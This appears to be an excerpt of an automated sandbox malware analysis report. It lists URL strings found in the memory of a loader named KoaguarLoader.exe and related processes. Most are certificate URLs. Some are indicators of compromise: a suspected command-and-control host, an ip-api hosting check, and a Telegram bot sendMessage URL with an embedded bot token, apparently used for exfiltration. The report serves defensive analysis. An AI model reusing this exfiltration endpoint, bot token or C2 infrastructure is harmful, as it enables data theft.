Source: KoaguarLoader.exe, 00000002.00000002.945609368.00000000024EE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000245E000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000255C000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C04000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018E0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001CA2000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/gsr1.crt0-
Source: KoaguarLoader.exe, 00000002.00000002.951588515.0000000002868000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/gsr1.crthttp://c.pki.goog/r/gsr1.crl
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002574000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.00000000024F4000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.00000000024EE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.00000000024BE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B72000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.0000000001870000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BA7000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/r4.crt0
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/r4.crtGlobalSign
Source: KoaguarLoader.exe, 00000002.00000002.951588515.0000000002868000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C1E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/we1.crt
Source: KoaguarLoader.exe, 00000002.00000002.945609368.00000000024EE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.00000000024BE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002492000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B72000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.0000000001870000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B78000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/we1.crt0
Source: KoaguarLoader.exe, 00000000.00000003.877294126.0000000000A50000.00000004.00000020.00020000.00000000.sdmp, svhost.exe, 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000003.00000000.877223219.0000000000F02000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000005.00000002.1032821832.000002B0CAEA3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1159859244.000002226AE23000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1337892983.0000028E56013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: KoaguarLoader.exe, 00000002.00000002.951588515.0000000002868000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/s/we1/Yak
Source: KoaguarLoader.exe, 00000002.00000002.945609368.00000000024EE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.00000000024BE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002492000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B72000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.0000000001870000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B78000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/s/we1/Yak0%
Source: KoaguarLoader.exe, 00000002.00000002.951588515.0000000002868000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/s/we1/Yakhttp://i.pki.goog/we1.crt
Source: HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C1E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/s/we1/Yaks
Source: HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.000000000188E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C74000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com
Source: KoaguarLoader.exe, 00000002.00000002.945609368.000000000245E000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002408000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C38000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C04000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C1E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B48000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BBE000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C5A000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: KoaguarLoader.exe, 00000002.00000002.951588515.0000000002868000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002472000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000245E000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002408000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002466000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C38000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C2E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C28000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C3E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BAE000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B48000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C5A000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0Q
Source: HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.000000000188E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C74000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comDigiCert
Source: powershell.exe, 0000000D.00000002.1218712283.0000028E461C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: KoaguarLoader.exe, 00000002.00000002.945609368.000000000276C000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002528000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D5C000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018A8000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B5C000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1217387150.0000000001C60000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001F12000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.com0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002560000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000275E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D20000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D50000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018E2000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B5C000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DB6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001EFE000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001ECE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: KoaguarLoader.exe, 00000002.00000003.938189244.0000000001AE2000.00000004.00000020.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000003.938216439.0000000001AF4000.00000004.00000020.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000003.938305183.0000000001AFA000.00000004.00000020.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000003.938239446.0000000001AF8000.00000004.00000020.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.944038245.0000000001AFB000.00000004.00000020.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000003.937986127.0000000001AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mic
Source: powershell.exe, 00000005.00000002.1005496636.000002B0BB059000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1087717614.000002225AFD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1218712283.0000028E461C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: svhost.exe, 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1005496636.000002B0BAE31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1087717614.000002225ADB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1218712283.0000028E45FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1005496636.000002B0BB059000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1087717614.000002225AFD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1218712283.0000028E461C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000D.00000002.1218712283.0000028E461C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D30000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B44000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001EE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.org
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002560000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002526000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D00000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D20000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018E2000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018DC000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D5E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001ECE000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001EC8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001EE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.orgChambers
Source: KoaguarLoader.exe, 00000002.00000002.951588515.0000000002868000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002472000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000245E000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002408000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002466000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C38000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C2E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C28000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C3E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BAE000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B48000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C5A000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002574000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D30000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001EE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002550000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D0E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1217387150.0000000001C7A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: KoaguarLoader.exe, 00000002.00000002.939032080.0000000000E81000.00000040.00000001.01000000.00000005.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.943416104.0000000000291000.00000040.00000001.01000000.00000009.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1079600336.00000000006E1000.00000040.00000001.01000000.0000000C.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2129024902.0000000000291000.00000040.00000001.01000000.00000009.sdmp, I1y524I4zau1n3u.exe, 00000017.00000001.1289075938.0000000000291000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://1.1.1.1/dns-query?name=failed
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://1.1.1.1/dns-query?name=sa1at.ru
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://1.1.1.1/dns-query?name=sa1at.ru7fd4917665566bc1c40a05008f60e4f674
Source: powershell.exe, 00000005.00000002.1005496636.000002B0BAE31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1087717614.000002225ADB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1218712283.0000028E45FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: svhost.exe, 00000003.00000002.2138122248.000000000320E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegrP
Source: svhost.exe, 00000003.00000002.2138122248.000000000320E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: svhost.exe, 00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000003.00000000.877223219.0000000000F02000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: svhost.exe, 00000003.00000002.2138122248.000000000320E000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000003.00000002.2138122248.0000000003200000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000003.00000002.2138122248.000000000320C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7633754203:AAGdgIxVhns7RJswrsnNS4ilwSCe6ayObHQ/sendMessage?chat_id=10998
Source: powershell.exe, 0000000D.00000002.1337892983.0000028E56013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.1337892983.0000028E56013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.1337892983.0000028E56013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 0000000F.00000003.1211505121.000001CB6D5E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000000F.00000003.1211505121.000001CB6D570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
Source: powershell.exe, 0000000D.00000002.1218712283.0000028E461C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.1032821832.000002B0CAEA3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1159859244.000002226AE23000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1337892983.0000028E56013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D30000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001EE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002574000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D30000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001EE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.000000000275E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D50000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B5C000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001EFE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://repository.luxtrust.lu0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.00000000024A2000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.000000000188E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D0C000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000029A8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sa1at.ru/sa1at/
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sa1at.ru/sa1at/RepetitionDurationIntervalEndBoundaryRepetitionDurationInterval2025-03-11T12:
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D0C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sa1at.ru/sa1at/etext/html;
Source: KoaguarLoader.exe, 00000002.00000002.945609368.00000000024A2000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.000000000188E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/
